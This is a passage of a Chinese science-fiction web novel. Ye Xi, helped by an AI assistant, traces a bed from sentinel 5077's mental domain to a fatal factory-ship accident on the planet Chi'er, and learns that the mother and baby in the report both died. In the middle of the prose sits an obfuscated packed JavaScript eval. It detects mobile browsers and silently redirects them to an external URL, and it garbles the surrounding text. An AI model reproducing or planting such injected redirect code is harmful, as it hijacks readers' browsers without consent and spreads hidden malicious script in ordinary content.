不管季浔有什么背景,他倒是确实有一身真本事,叶汐已经亲身体会过了,联邦第一哨兵的名号当之无愧。 叶汐盯着他瞧,心想,像他这样一个人,出身好,不缺钱也不缺地位,能力强,长得又好看,不知道人生还能有什么苦恼。 被她戏弄的那几秒,大概已经算是人生中重大的挫折了吧。 房间里重新安静了。 她没在搜索,盯着他不动,季浔却动了一下,偏过头,遥遥地看向叶汐面前的屏幕。 “你在让人工智能助理修改一张双人床的细节?为什么?” 不愧是哨兵的眼神,离得那么远,还是侧对着,随便就能看清她屏幕角落里的小字。 没有跟他隐瞒的必要,叶汐大概讲了一下在5077精神域里的所见所闻。 季浔点了下头,不再出声。 叶汐改了好半天,终于对床头的细节满意了,提交图片,搜了一下。 搜索结果出来了,叶汐忍不住“咦”了一声。 她把屏幕转了方向,给季浔看,“竟然真的搜出来了!” 搜出来的双人床和AI生成的图片一模一样。 这张床是在现实世界里真实存在的家具。 “我在二手市场上找到的,是一个叫‘牧星’的廉价家具品牌的产品,”叶汐放大屏幕,“现在早就停产了。” 精神域中的双人床,竟然找到了现实中的原型,看来那个房间,可能真的不是5077自己随便乱想的产物。 搜到了真实的品牌,能查到的信息就更多了。 阿露弥睡了,叶汐只能跟季浔分享搜索成果:“这个叫牧星的家具牌子,当年只在第三星带的老工业带那一片卖,其他地方没有。” 季浔思索:“第三星带的老工业带……你刚才说的精神域里窗外的情景,红色的阳光,黑色的叶子,如果范围缩小到老工业带的话,听起来很像一颗行星——” 叶汐接口:“——赤珥星。” 两人异口同声,想得一样。 赤珥星是第三星带上的一颗行星,围绕红矮星图赫拉运转。 这颗行星开发得很早,因为矿产丰富,以前尤其盛产制造飞船和空间站的特殊金属,上面建了不少工厂。 后来矿产逐渐枯竭,工业带又向更富饶的新星带转移,不少工厂都迁走了,就只剩下寥寥的几家矿场和冶炼厂。 叶汐:“5077小时候可能就在赤珥星上,还记得家里家具长什么样。” 她又琢磨:“也可能是特别特别小的时候。能记住家里的样子,是因为当时受到了非常大的刺激。” 如果幼年时期受到极大的刺激,即使表层意识想不起来了,也有可能会把当时的场景留在潜意识里。 精神域里始终有不正常的滚烫沥青,从天而降。 看起来像是5077还是小宝宝时,在赤珥星上,和母亲在一起的时候,发生过什么重大事故。 叶汐心中想着,点点虚拟屏幕。 “按时间推算,大概是5077的出生日期……”叶汐想了想,“……联邦历351年附近;地点,赤珥星;不知道是什么类型的事故。” 有黑色黏稠的东西从天而降,瞬间吞没了那间婴儿房。 季浔也在想:“像是工厂的事故?不过也可能是泥石流,或者火灾,在精神域中被修改异化成了房屋融化成黑色的东西。” 他倒是很懂。 叶汐同意:“精神域里,有些事会变个样子,确实有这种可能。” 她在人工智能助手的帮助下,一通狂搜。 赤珥星的工厂区设备老化,那些年出过的大大小小各种事故相当多,不过基本都发生在厂区内部,不太涉及到周围的居民区。 至于泥石流山体滑坡什么的,因为星球整体地势平缓,降雨又少,倒是没有过。 季浔建议:“也许把搜索条件放宽一些,只搜‘赤珥星事故’试试?” 这样搜出来的结果更多了。 也不知过了多久,叶汐看得脑门和内脏一起疼。 季浔远远地坐着参禅,倒是没影响他的观察力。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16679998|187946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他说:“你累了,先睡吧,明天再说。” 可是明天傍晚六点,5077就要被带走做评估了。 叶汐闯荡码头,非法行医这么多年,病人向来都是横着进来,竖着出去,她的准向导生涯中从来没遭受过这种挫折。 她十分不甘心,手指还是机械地划过一条条新闻,眼睛扫过一张张图片。 她的脑子忽然嗡地一下,人彻底清醒了。 “看这个!快看这个!!” 是一张新闻报道的截图。 图片上,一个年轻女人身穿灰红色毛线衫,长发挽着,怀里抱着宝宝,对着镜头,母子脸上都打着灰色的马赛克。 身后的背景,赫然就是叶汐在5077精神域里看到的那个房间,窗前摆着桌子和转椅,转椅上罩着棕色椅套,靠墙放着张多搭出一截的旧双人床。 一切细节都一模一样。 叶汐火速点开图片的新闻链接。 里面是一场事故的报道。 赤珥星上,一家工厂的货运飞船在一次运输的起降过程中,低空掠过附近的居民区时,储液舱突然意外开启。 储液舱里装着满满的塞若昂液,这东西很粘稠,因为运输时需要保持流动,还是加热过的高温状态。 舱门突然爆开,下面一片简易搭建的宿舍区大难临头。 搭建那片宿舍区屋顶的材料叫莱特聚合板,这种板材保暖隔热,轻便好切割,容易运输,成本十分低廉,但是恰恰会和塞若昂液激烈反应。 屋顶的莱特板遇到克星,瞬间融化。 巨量高温的黏稠液体倾泻而下,灌进房间,数间宿舍被波及,幸而是中午,大部分宿舍里都没有人。 只有其中一间,里面有个正在休产假的员工,叫图澜,还有她刚出生二十五天的宝宝。 叶汐深吸了一口气。 这不折不扣,就是5077的精神域中再现的灾难场景。 妈妈是报道中的妈妈,婴儿估计就是5077。 不知道在这么恐怖的事故中,他是怎么存活下来的。 活下来了,当了哨兵,当初太小,记不清妈妈的样子了,又不知发生了什么,手里只有新闻报道中这张照片,所以在精神域里,也给妈妈的脸打上了马赛克。 叶汐飞快地继续往下翻,下面连着好几张配图。 除了破损的飞船储液仓和事故现场的实景,还有一张图澜抱着婴儿的日常照片,就是叶汐在搜索时看到的那张。 叶汐又看了一眼照片,继续往下翻,却在这张照片下面看到一行字—— 【母亲与婴儿同时遇难。】 啊? 啊?? 下面还有事故现场的照片,打过码,不过还是很清楚。 那是现场的黏液处理过半时拍摄的,能看见两具烫得变色的遗体,死亡原因也许是高温,也许是窒息。大人怀里护着小小的婴儿,一大一小两具尸体倒在窗前,看上去是想破窗求生。 婴儿死了,可哨兵5077却还好好地活着。 这和叶汐猜测的不一样,5077并不是那个宝宝。 如果他不是那个婴儿,那他是谁?